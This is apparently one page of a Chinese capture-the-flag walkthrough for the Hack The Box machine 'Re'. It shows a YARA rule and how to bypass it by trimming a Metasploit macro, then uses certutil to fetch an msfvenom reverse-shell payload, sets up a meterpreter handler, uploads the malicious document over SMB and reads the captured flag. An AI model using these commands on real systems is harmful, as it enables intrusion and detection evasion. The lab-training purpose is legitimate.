HTB-Re 渗透全记录

来源:岁月联盟 编辑:猪蛋儿 时间:2020-03-16
                        $getext = "select case GetOS" nocase wide ascii
                        $func1 = "Sub OnLoad" nocase wide ascii
                        $func2 = "Sub Exploit" nocase wide ascii
                        $func3 = "Function GetOS() as string" nocase wide ascii
                        $func4 = "Function GetExtName() as string" nocase wide ascii
                condition:
                    (all of ($get*) or 2 of ($func*))
}
这个规则的意思是:匹配到全部$get开头的规则 或者 任意两个$func开头的规则,就无法通过。
use exploit/multi/misc/openoffice_document_macro
set srvhost 10.10.14.220
set srvport 23333
run
[+] msf.odt stored at /root/.msf4/local/msf.odt
按照文章的介绍,可以直接使用metasploit生成一个恶意odt文件,而上面的yara规则明显是针对metasploit的,因此需要修改一下宏脚本进行绕过。
odt文件本质为一个zip压缩包,将生成的msf.odt解压。
修改 /Basic/Standard/Module1.xml中的宏脚本,删除多余的Sub Exploit,GetOS()和GetExtName()
同时,由于不清楚有没有其他过滤规则,因此选择了使用certutil来下载shell.exe,尽量不使用powershell反弹脚本。

重新打包,重命名为msf.ods
然后用msfvenom生成一个后门程序shell.exe放在本地。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.220 LPORT=4444 -f exe -i 3 -o shell.exe
开启http服务
python3 -m http.server 23333
msfconsole配置handler进行监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
然后用smbclient把生成的msf.ods恶意文件上传到smb
root@kali:~/pentest/Re# smbclient //10.10.10.144/malware_dropbox
Enter WORKGROUProot's password:
Try "help" to get a list of possible commands.
smb: > put msf.ods
然后稍等片刻,http服务会提示靶机访问shell.exe,然后shell就会弹回来,到此获取到一个flag。
C:UserslukeDesktop>type user.txt
type user.txt
FE4173xxxxxxxxxxxxx0D9F384D3
 
Winrar 目录穿越
查看当前用户的Documents目录,可以看到自动处理ods文件的脚本和过滤规则
 Directory of C:UserslukeDocuments
06/18/2019  01:05 PM    DIR>          .
06/18/2019  01:05 PM    DIR>          ..
01/13/2020  09:16 PM    DIR>          malware_dropbox
01/13/2020  09:16 PM    DIR>          malware_process
01/13/2020  09:16 PM    DIR>          ods
06/18/2019  09:30 PM             1,096 ods.yara
06/18/2019  09:33 PM             1,783 process_samples.ps1
03/13/2019  05:47 PM         1,485,312 yara64.exe
               3 File(s)      1,488,191 bytes
               5 Dir(s)  17,590,632,448 bytes free
ods.yara

基本上把大部分powershell关键字都过滤,上面用来下载执行后门的方式还是比较稳的。
process_samples.ps1
$process_dir = "C:UserslukeDocumentsmalware_process"
$files_to_analyze = "C:UserslukeDocumentsods"
$yara = "C:UserslukeDocumentsyara64.exe"
$rule = "C:UserslukeDocumentsods.yara"
while($true) {
    # Get new samples
    move C:UserslukeDocumentsmalware_dropbox* $process_dir
    # copy each ods to zip file

上一页  [1] [2] [3] [4] [5] [6] [7] [8]  下一页